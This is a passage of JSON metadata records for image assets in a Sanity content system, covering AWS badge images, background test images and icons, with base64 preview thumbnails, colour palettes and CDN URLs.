WWnmeaF9LRHAApllHibT1F1F1WOqpjcFUcKFotAsFEVcEuVfRQEskRRz/Rj88+eI+Ly0cjHPC4MWcljPD46Q7WIgK5gvAQwkhc/Q7ININH5DgtqUaSFXN8zjXgAQS7LaEID8LUOxJ2A7Xrx6ezq5k72m6sZIzQ/ooL6PkOPapoUcrVyJZyjm3ofZT5e4fPG2YVof3T0PItu1LWQ7poUMICszyZ3sycuxeIoYn5wmno297IhubvewOf6xCOAskJUFEcB5hiuMf9+I9Q4ODZ9ZXF47m0pTfYWiOCFKcL694UtgNkVSQ6HVcGcb/AsHBeLcbjq/GQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4c34","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccbca4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce765","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#948474","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8aa18","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AWS badges (3).png","path":"images/sczeoy4w/production/ab0f9c5b2eee1b2072700c7bd00733e1a8dd82bb-525x225.png","sha1hash":"ab0f9c5b2eee1b2072700c7bd00733e1a8dd82bb","size":30459,"uploadId":"gJ0UiCXXRSqTn4rzkFramrJ3EKqA35IM","url":"https://cdn.sanity.io/images/sczeoy4w/production/ab0f9c5b2eee1b2072700c7bd00733e1a8dd82bb-525x225.png"} {"_createdAt":"2024-10-14T11:44:27Z","_id":"image-1544964a46759bdadc8356c431fe6903501a1420-525x225-png","_rev":"Tpe1Rj6o9fDmGqbWvoAKYe","_type":"sanity.imageAsset","_updatedAt":"2024-10-14T11:44:27Z","assetId":"1544964a46759bdadc8356c431fe6903501a1420","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MjJkl$?bj[~q9Fxut7ayxut74nRjayM{t8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3333333333333335,"height":225,"width":525},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACP0lEQVQokW3Qu2/TQBzA8YsEUfsPMCEqBmCrqiJSiSI2xMCGmJBYGJAQAxsSUyVIEQsMlGcB0cdAI0ClhUq0QF+0dRPHcRo79p3vkTiOkzhxmrQDqlvsQwmUiZ9020ff0+8HZr8tRYVEKirJSjSVVqLxpHzj6/xyz+MXI+GHQ8PgyIkIiH2YPvx9YeXKuijfkWRlMJVW7u67oecjYUlWQDK1Aa7fvA1ARtWYDhGjlLJqtcrqm41k3rTuCwmp9+27qTAAAKwKYo+qwVcIGYgQyhzHof9cXOp9PTYRvnDpKtAgBsAwDJ4jOrfziG83Xb7reX5zaxtjkhtY/CF0tYKSnOkjBH82Kdxru4bLPc/zG80tjAkbmF9c7eKcg9YDhBBeNHFQKuDAKdu+69a5U63tUGZ+FKV0BICDIUlW+hijn+wC8UoFzJ2K7dfcOq84NY8ycyouyqdaH7eDEJGfubzpE8oCDRr+hqIFGVXfVbLwSzKV6T/U1R2Ki/JJA9NJlsvvQGRwNQv9tKIFShbuqRqaTUjp0wAcaDVbN9RnSmXHqrr1wLRsrkGDqxr61YLJVOYMAJ2hheW1ozrE96xiyTQtO0CY8axucB0RX4N4TmwH/86KIJ4vWPbTzUZTd+ubZbtUqZiFYhEadEJISJHuvnOh95MzHaKU7s+b1hPHqenlitN2VrFkI0xjQlxqr9yeZy/HOpZW1s9uKNqgjvAoNMi4qsGRtXjy1vTM3PGLl6+FHjwaBm/GY53/caPCH3dsP/gb+/O7K1Qn0TAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4448","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0b","foreground":"#fff","population":0.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0b","foreground":"#fff","population":0.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4ccbc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0d393","foreground":"#000","population":0.31,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646c84","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4af49","foreground":"#000","population":0.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AWS badges (4).png","path":"images/sczeoy4w/production/1544964a46759bdadc8356c431fe6903501a1420-525x225.png","sha1hash":"1544964a46759bdadc8356c431fe6903501a1420","size":35700,"uploadId":"lTI4JWANa49rqfNr1tg9RCFe4KmxGanc","url":"https://cdn.sanity.io/images/sczeoy4w/production/1544964a46759bdadc8356c431fe6903501a1420-525x225.png"} {"_createdAt":"2024-01-18T12:36:27Z","_id":"image-0b6b7b1a0cee69bb8cc0e5be2171a13e223e31a2-2667x1500-png","_rev":"VeNKqGNmt13PzvGhqbD4xs","_type":"sanity.imageAsset","_updatedAt":"2024-01-18T12:36:27Z","assetId":"0b6b7b1a0cee69bb8cc0e5be2171a13e223e31a2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHMaR]a|00of00%MayIUa{M{00ay~qj@?b","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.778,"height":1500,"width":2667},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACy0lEQVQokT2RzU8TQRiH908w6MUTF4o9GyFw4OLBGIgJidJ2FxEEDsRWCyUCLQeVmBiMaEIpH+puC4V44WisHNTQ5aOSloQDFQy0cKCFGCzMst2PmZ0xMxUmefL+dvfNk99kuZvVVdzlsrKrNdVVXldTU6yrq2vJ7XbH3W637PF4ZI/nsez1euVAICCPjIzI4+MhORQKycFgkLL0enj4e6/P99LpdNgIIRw32NvDlZeXV3R2dATnotFcYjVxlkymQDKZBKlUCqyvrzM2NjZAOv0LbG//BltbW2BzcxOk02klHo8XxoKj822tLTeYcHJygquoqLAP9PdLieVVVQGA6LpONF1j0zAMhqbr7Fk3DFIsFglQFKKqKtnd2bFmItJCe9v9WiacmYtytkqbfXAgIK4tJ4BywoSWbhrYRBBblsWACGGEEMumaWJVVS1N0/H+/h6ci0Zi7a18DRPOUqHNZvcPBMSV5YRS+HtC1KKKNUPDBjSYhAIhvBAahoEV5QyrapHsZTNwdkaKPWxpKgnnotNM2OcfFBdXfirHhVOiaRrWTZ2Y0CQIIYKQRSCELFsWzYjtaJpOspldGI18iD0QGkvCT7PTXKXNZn/a7xd/yCvKn+MCKdJlk0lZMwgRu+Z5SwptqesGyWZ24LQ0GWt2NJSE8/PztOE1v98vrq6uAAAAgQhaEEOMMMKYEEwIweeHZgpClkUb7+9l4LQ0EePv3ioJn70YYn+5u/uJ9DX2Wc1mdkkulyMH+QOSy+fI4eEhI5/Ps3l0dMSgO5RUcs0affdqobG+rpajJxKZuVRf31DL867w0NDzw/dTU4ooSaeiJAKKJElAksL/pwTC4TBDFMVTURTB25E3Bc+jzi/Oe3duj42FrnAfxfD1vr5+nueFCYfD+Y0XBFkQmuMUnhfiLhfPJn3v4kv54rsgyE6nc5HnXVGfr6dzfHyy7h9CV3WwoT645QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443c3c","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#251d0a","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#251d0a","foreground":"#fff","population":0.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1c99b","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e69eb9","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab6291","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eac462","foreground":"#000","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"homepage-hero-image.png","path":"images/sczeoy4w/production/0b6b7b1a0cee69bb8cc0e5be2171a13e223e31a2-2667x1500.png","sha1hash":"0b6b7b1a0cee69bb8cc0e5be2171a13e223e31a2","size":168501,"uploadId":"wPxvknFznyN8dumtLHPiDM9r1NEm5Oui","url":"https://cdn.sanity.io/images/sczeoy4w/production/0b6b7b1a0cee69bb8cc0e5be2171a13e223e31a2-2667x1500.png"} {"_createdAt":"2024-10-14T11:53:38Z","_id":"image-180b8b3046f25de07c77e403c595419de4603ea0-1200x630-png","_rev":"Tpe1Rj6o9fDmGqbWvoAUyE","_type":"sanity.imageAsset","_updatedAt":"2024-10-14T11:53:38Z","assetId":"180b8b3046f25de07c77e403c595419de4603ea0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M597rN8^9G~U00Ie_2M{9G-:00t2%MM|%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAC0UlEQVQokWXSXU9bBQCAYf6AirD2tD319JzTj9PSc9pS2CB0Y3y05aMUZksJVoYbY2CRtbgwOoJ0CDq+LJXaFYbRqNvixUyMJovxxnjjrX/pNXTcqH/gyXvxNr1pStEsTNIqTmOSZhActxAc85ikBUxSDrMjj6B8jEV9gNW1juguYde2kbyPkdsOkfUKSqCKEqihBp/Q1CykEZUsLv8dvKEcbeF7eEMFnP4CsncF2beK4n+I09jAFXiEO7iDFt7DEzpE0b9A1o/+DbZYM2iBu0T6V7keX2dgpET/8Ba9sS164zv0De0xMHpIdKzC4Ngxg2M14hNPuRo7wRuu/L/wkn2aUNcy0cQGsbESQ+OfMnLjc4Yndkmmy6SzNdLZOqnsCZMzX5O5+S1Ts98z/O43BLu/QjUuwOAFaJbeo7Mnz1Byk2hik8HRR4zeeEwitU9ysszE1DHx8SP6RsrEklVi43WiyVN6h04xrlRR9Aqy8Z9Co3OJ3liRa9EikYF1oontBjg8ccD1+C765RKqvkFb5zYd1w5oj5TRL5cJdB1jdNfwhM+xC/AtIYNVmUHxzaH45lF8i2jBAoEra/g7irgDReyeVayuB3T17fJh/hl3ll4QS55yc/4FK8VfGM08R+uoNyqb3jClaTZP0mKdokXM0irOYpLmEORFBHkJi1JobCO610ikj/nu+Z88+/EvPrr/koOj3/n11d+slX4jGDl7Db5tTvGOLYWqvo/DcxubOofNuYDoPH9wCbPjXgM8L+zu3+Nh6Sd29l8xfesHcoWXlKt/sJD/GaPn6WvwkiWFR0qj+2bRAotI2gKSlsOhLWNVlhHkPBb1fgOU2zYJR/bp7q9gdB3R3lPlavyMzr4zPB11nKEnNLXaMljsU4hyFpv6ARblNlb1LjZnDptzGdG1guhexa4Vkbyf4PBtIfs/Q9X3cRplXMEvcbfXcIfreMIn/AMYzKIh0sQeMQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#43497a","foreground":"#fff","population":1.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":7.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":11.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbdde8","foreground":"#000","population":9.34,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b7fc6","foreground":"#fff","population":0.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d7297","foreground":"#fff","population":1.89,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":11.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AWS IMMERSION DAY.png","path":"images/sczeoy4w/production/180b8b3046f25de07c77e403c595419de4603ea0-1200x630.png","sha1hash":"180b8b3046f25de07c77e403c595419de4603ea0","size":110917,"uploadId":"vxzQ6HcPkDNDRUrjJyfeI5UyW1a3lOOF","url":"https://cdn.sanity.io/images/sczeoy4w/production/180b8b3046f25de07c77e403c595419de4603ea0-1200x630.png"} {"_createdAt":"2024-09-18T08:50:24Z","_id":"image-4176535788ab4daf9a851d275bba67b71adb751c-1920x200-png","_rev":"YWHkZRhDz94HWGkESkRVSZ","_type":"sanity.imageAsset","_updatedAt":"2024-09-18T08:50:24Z","assetId":"4176535788ab4daf9a851d275bba67b71adb751c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"409@iF%Q00N600","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":9.6,"height":200,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAgUlEQVQImWOQVqtT0m20dpkQFD0vImFBSMy80Nj5YbHzAyPnBkfPC42fHxo3Pyx+QXD0PL/wOcEx80Ji5tl5TFLRa5JWq2MQU8iVVi0wtKxx9enwDOp28+t09+9y9+9y8W538+nwCACxPQK63Hw7nDzbXH073Pw6TWzqZNUKxRRyAcW8K6ShaROvAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#42477f","foreground":"#fff","population":2.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#161e6e","foreground":"#fff","population":12.82,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#161e6e","foreground":"#fff","population":12.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0a5ce","foreground":"#000","population":8.88,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcc1f2","foreground":"#000","population":2.75,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656a9a","foreground":"#fff","population":6.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#212e96","foreground":"#fff","population":7.57,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Background Image Test 3.png","path":"images/sczeoy4w/production/4176535788ab4daf9a851d275bba67b71adb751c-1920x200.png","sha1hash":"4176535788ab4daf9a851d275bba67b71adb751c","size":105393,"uploadId":"k7PhYFitHTRmOf7MpEk7L6ay4jDO4F64","url":"https://cdn.sanity.io/images/sczeoy4w/production/4176535788ab4daf9a851d275bba67b71adb751c-1920x200.png"} {"_createdAt":"2024-09-18T08:41:12Z","_id":"image-b0a31b6c041f9edf22245346c49c7275c710c2b3-1920x400-png","_rev":"etbaRJcyRvzwy2RfQNtxwM","_type":"sanity.imageAsset","_updatedAt":"2024-09-18T08:41:12Z","assetId":"b0a31b6c041f9edf22245346c49c7275c710c2b3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DI8qg%j]RjWXWAtWfRayfRay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.8,"height":400,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAA1ElEQVQImWNQ0O1W0e9RNexVM+yFkGpGvapGfapGIAZI0KhPFSylYtCrYghWadSrYtCjqNfNoGXaZus+yTNopk/ILM+gmR6BM7xDZvmGzfYNm+0dMss7GCToFTLLK2SWq990J5+p7oHTfUJmOXpP0THvYFA3rLB2afEI6PYK6vUI6Hb3BzF8Q/p9Qvq8gnq9Ans9AnpAjKBeZ59OR892N78ur6BeB492TaNKBlH5FEmlNBmVdBnVdGkwklHNACMQQxrBTpdWSZdSBpEyqhlSyuli8ikA9/9L+cCN1rcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4275","foreground":"#fff","population":0.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c64","foreground":"#fff","population":9.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b5badb","foreground":"#000","population":11.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b5badb","foreground":"#000","population":11.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8494c8","foreground":"#fff","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c719c","foreground":"#fff","population":7.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f2b94","foreground":"#fff","population":7.91,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Background Image Test 3.png","path":"images/sczeoy4w/production/b0a31b6c041f9edf22245346c49c7275c710c2b3-1920x400.png","sha1hash":"b0a31b6c041f9edf22245346c49c7275c710c2b3","size":104310,"uploadId":"2r3nj7ZJZo7P7tjjMUdIfnE1OQvRx6vZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/b0a31b6c041f9edf22245346c49c7275c710c2b3-1920x400.png"} {"_createdAt":"2024-09-18T08:49:26Z","_id":"image-4c160dcd2ecf5260a44a05b8e17510695e056971-1920x200-png","_rev":"1OyjLnRDvuzO2Q4GjjGyCm","_type":"sanity.imageAsset","_updatedAt":"2024-09-18T08:49:26Z","assetId":"4c160dcd2ecf5260a44a05b8e17510695e056971","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"403I+EokfRokfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":9.6,"height":200,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAJElEQVQImWOQUsmTUsmVUsmVVs3DygYzEGywFJTNIK1WTTYCAH7yHB1wt/iyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3466","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#121b69","foreground":"#fff","population":17.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2c87","foreground":"#fff","population":19.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#727cad","foreground":"#fff","population":0.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9da6d9","foreground":"#000","population":1.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646ca0","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2c87","foreground":"#fff","population":19.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Background Image Test.png","path":"images/sczeoy4w/production/4c160dcd2ecf5260a44a05b8e17510695e056971-1920x200.png","sha1hash":"4c160dcd2ecf5260a44a05b8e17510695e056971","size":14226,"uploadId":"ssMfkEW2JWRmLXKuES2kj0iefRnvgZCs","url":"https://cdn.sanity.io/images/sczeoy4w/production/4c160dcd2ecf5260a44a05b8e17510695e056971-1920x200.png"} {"_createdAt":"2024-09-18T08:43:29Z","_id":"image-5f0b5f6aa4dcaf060a36276462caed4ff95e7faa-1920x400-png","_rev":"etbaRJcyRvzwy2RfQNtzVh","_type":"sanity.imageAsset","_updatedAt":"2024-09-18T08:43:29Z","assetId":"5f0b5f6aa4dcaf060a36276462caed4ff95e7faa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D03I+EokayokayiYf4ayf4ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.8,"height":400,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAALElEQVQImWMQk08EIQVUhCyIm80gppgNQgpgEsIgms0gpVZFNmKQ024jGwEAWRI3F1SRkIAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373e76","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14246f","foreground":"#fff","population":13.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2c89","foreground":"#fff","population":15.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7474b4","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#888fc7","foreground":"#fff","population":0.75,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64649c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2c89","foreground":"#fff","population":15.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Background Image Test.png","path":"images/sczeoy4w/production/5f0b5f6aa4dcaf060a36276462caed4ff95e7faa-1920x400.png","sha1hash":"5f0b5f6aa4dcaf060a36276462caed4ff95e7faa","size":21189,"uploadId":"4hE85Karu0oWiBZk6MI4kbWtHbzKJsA6","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f0b5f6aa4dcaf060a36276462caed4ff95e7faa-1920x400.png"} {"_createdAt":"2024-09-16T17:03:22Z","_id":"image-f84e3bce02f43ef9c5e4b6b1a519e0f2db630d0e-24x24-svg","_rev":"2eqiUp79DxBCItwrHvRb47","_type":"sanity.imageAsset","_updatedAt":"2024-09-16T17:03:22Z","assetId":"f84e3bce02f43ef9c5e4b6b1a519e0f2db630d0e","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e04_tiWB00Rj4n?bD%%MM{?b009FWBM{IU4nM{IUt7xuIUM{%Mxuay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADD0lEQVQ4jXWV3YtVZRTG9+ikIwyJzYRiBM145nvO+j37OMemmUKYKS+iLvpCSiKI9Cq1UoNQxJEKTJMgSsGLPsjom4jJNJgL0wv7kkCkoiT/lHg2aw8j4oZ19su713reZz1rrfcUxS2eoaGhYmRkpOjv7y+azWYREQVg6/BbUkdZlislrZF0u6Tlk5OTRdFut4tGo1FMTU0VZVlWQUuCHViZwb1vn4hYBYwBzwD7gOeARkR0VE6Dg4OLAD6gBjSQAcwyIlZGxJqIuAfYAhwBzgGXgR+ArUDXDaxqAIMCy50KcDcg4BFgJ/A2MA/8DnwFfAycBw4C6yugsbGxYm5uzoArgLXAOPAg8DzwOvAh8C1wJln9BvwBHAa2AZ8Ap4B2xcYCS1otaRp4GTgBfJMAZvMF8G5+exLYC5xNtluAY8B3wFNOzQI3gKeT/qUEMej+FH4KGATucgaSHga+T7/tkt4BLgCvGXAEeDVPvJ4iv5RVXA+sM5CkUUlmsyPZ2u+qpZC0APwEHDDgLPAl8CfwbzJ8ESiB+4FngUOSPpBkVgupowty2nJI+tQ+wIz1uzed/0qG/yXbjzItH/CLpL+Bf7JA2/KwTcADku4DNgDdBlwnaUcKfzYZLOT6CnAN+Az4HPg55ent6elxhyzz5NTNb/NPpyQ36+ZslUddLeAJ4Djwa0piu2g5JHW7d+seVoJ5XU+IT7otrcuVN3Ngdzawxb8q6bKkXZLuyGnqWApWMyxarVYxPz9frQcGBqopAVrAe54CSSfTzudeKyI6x8fHqxi/fUD11LTrEyYmJorst1eAH4GjkjamvZV7e+zjCWu1Wouju/gsvQxcKeAx4Otsi4csg6SuXJ/OKXo8Irrr+a/0WwpoazabnRHRBt7PsdseEb2jo6N1UC/wQn6zT9up1/E3MYyIO7MQbpk3gWG3Rn0TZZsMAW+kj30dcyPDeiO189gdkbTZaQ4PDy+2RV9fn99O3y3m+9C+jrkloPWTpLIsy9UzMzNVBX21T09PV38Fs7OzTt83k0fT92TVkzXg/1f5Q+Tib+YeAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":7.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":7.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"telescope.svg","path":"images/sczeoy4w/production/f84e3bce02f43ef9c5e4b6b1a519e0f2db630d0e-24x24.svg","sha1hash":"f84e3bce02f43ef9c5e4b6b1a519e0f2db630d0e","size":2074,"uploadId":"xh9VW9iQA9dWGDQJfPFP6UaB60w1T2yD","url":"https://cdn.sanity.io/images/sczeoy4w/production/f84e3bce02f43ef9c5e4b6b1a519e0f2db630d0e-24x24.svg"} {"_createdAt":"2024-09-16T17:03:28Z","_id":"image-8a5ec8907436bf850667a48435eec6ee404d7dc9-24x24-svg","_rev":"ebFUNpMndz2LKq7K77xDmg","_type":"sanity.imageAsset","_updatedAt":"2024-09-16T17:03:28Z","assetId":"8a5ec8907436bf850667a48435eec6ee404d7dc9","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e05hY|j[Rjt7t7%MWBWBayWB%MayayWBM{xuWBj[WBWBIUj[WBayt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACgklEQVQ4jW2VzUtUYRTG7wQuZucHai2iaGFyqfs7M5qLoiBXTrarhZoTLfqAbB3t1MSKwggKMYJKaFmSUWgFTvZH1Ka21Z8Rz+25cqdaPMy85+N5z8d7zk2AJMuyapZlA8AYMAk0hYjQ7/m/0Cxh0j7yrUZEkpMBx4AFYA34CLQi4lMJOrfJZGPbNeAmcFSkidkXrFwFFoH5iJjXr8/3jFxXwqJ9Pph0IHHIa1acBPoiohvoBQaBceCycRpISzZ99lk1x5gIJxydbuuv1WqSVYB9wEXgqY2F58AVYH9EVOr1ukrWD9wyx0QSEdPAllPoUWGB3cAl4C2wXkr5DfDOuvzyLMt67CuO6cTdalnY5QhHgGfAaxkBB4xzlinqEV/eZV9xNHNCd02N6BwaGkpcqw3ggYiGh4cTpWdSyTYiYlyEEdGpBrr7TQkU4Q6hbz3l1B4CB9M0TdI0rbhJj6SLiIZtOx2hOP4Qmj1P2bfWI+KxSa8CYVyzbDkidE7s0x5hQainYMJeN+sVsAk8MfT/pboZET0m7G4jdFPylK1MarXarojYA5wF7gMvjCXgjDtcccrdbSkXTSkiBDr8qPcCh4EGcMHQEByyTjYdzuqfCFsePxV9FLjuyNSAlVLKK5Yt2WbUPvJtlbsswmVgxmOkR/reNduMiBzF2bot287Yd+cdTjr/7dJk3HCqJ4DjEZFD/y1r2GbdPtsmnCiWg57CL+ArcBc44hp1+VnkKM7Wjdj2C/DTxPly0PrSYvgO/PBoadhnI2JOAHKUzrPAbdvK55s58vVVLNg7rs9nj+IOSku1TSZb+8hXHNViRkWqbqk2U25U/gn4H0qfhyn7DGrz6xPwG292gr0bdXM2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":16.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":16.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePalett